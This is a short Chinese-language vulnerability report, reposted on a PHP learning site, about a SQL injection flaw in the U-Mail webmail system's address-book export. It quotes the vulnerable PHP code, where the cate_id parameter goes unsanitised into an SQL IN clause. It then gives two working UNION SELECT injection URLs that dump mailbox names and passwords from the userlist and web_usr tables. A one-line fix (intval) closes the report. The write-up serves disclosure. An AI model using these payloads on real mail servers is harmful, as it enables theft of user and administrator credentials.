来源:自学PHP网 时间:2015-04-16 23:15 作者: 阅读:次
[导读] 产品介绍(摘自官网)U-Mail专注于电子邮件领域15年,为企业轻松搭建最安全稳定的电子邮件系统软件。关键字:15年 最安全 最稳定涉及:金融、政府、银行,石油、军队、证券行业等重要...
#1 产品介绍
if ( ACTION == "customer-export" ) { $cate_id = gss( $_GET['cate_id'] ) ? gss( $_GET['cate_id'] ) : "-1"; if ( $cate_id ) { $data_cache = $CAB->getCategoryByDomainID( $domain_id, 0 ); $where = "domain_id='".$domain_id."'"; if ( $cate_id == "-1" ) { $cate_id = 0; } if ( $cate_id ) { $Tree = $CAB->getTreeObject( ); $Tree->set_data_cache( $data_cache ); $Tree->sort_data( -1, 1 ); $cate_ids = $Tree->get_child_id( $cate_id ); $where .= " AND cate_id IN (".$cate_ids.")"; } $customer_list = $CAB->get_customer( array( "fields" => "*", "where" => $where, "debug" => 0 ) ); $cate_list = create_array( $data_cache, "cate_id", "name" ); $string = "\"".el( "名称", "" )."\",\"".el( "邮箱", "" )."\",\"".el( "电话号码", "" )."\",\"".el( "分类", "" )."\",\"".el( "备注", "" )."\",\"".el( "生日", "" )."\",\"".el( "性别", "" )."\",\"".el( "单位电话", "" )."\",\"".el( "住宅电话", "" )."\",\"".el( "QQ", "" )."\",\"".el( "MSN", "" )."\"\n"; if ( $customer_list ) { foreach ( $customer_list as $user ) { $string .= "\"".$user['fullname']."\","; $string .= "\"".$user['pref_email']."\","; $string .= "\"".$user['pref_tel']."\","; $string .= "\"".$cate_list[$user['cate_id']]."\","; $string .= "\"".$user['remark']."\","; $string .= "\"".$user['birthday']."\","; $string .= "\"".$user['gender']."\","; $string .= "\"".$user['work_tel']."\","; $string .= "\"".$user['home_tel']."\","; $string .= "\"".$user['im_qq']."\","; $string .= "\"".$user['im_msn']."\","; $string .= "\r\n"; } } } if ( get_session( "language" ) == "zh" ) { $out_data = iconv( "UTF-8", "GBK", $string ); } else { $out_data = $string; } header( "Content-type: text/plain" ); header( "Content-Disposition: attachment; filename=Address.csv" ); header( "Cache-Control: must-revalidate, post-check=0, pre-check=0" ); header( "Expires: 0" ); header( "Pragma: public" ); echo $out_data; exit( ); }
http://192.168.0.119/webmail/client/cab/index.php?module=operate&action=customer-export&cate_id=0) union select 1,2,3,mailbox,5,6,password,8,9,10,11,12,13,14,15 from userlist%23
http://192.168.0.119/webmail/client/cab/index.php?module=operate&action=customer-export&cate_id=0) union select 1,2,3,usr_name,5,6,password,8,9,10,11,12,13,14,15 from web_usr%23 修复方案: 数组遍历,intval |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com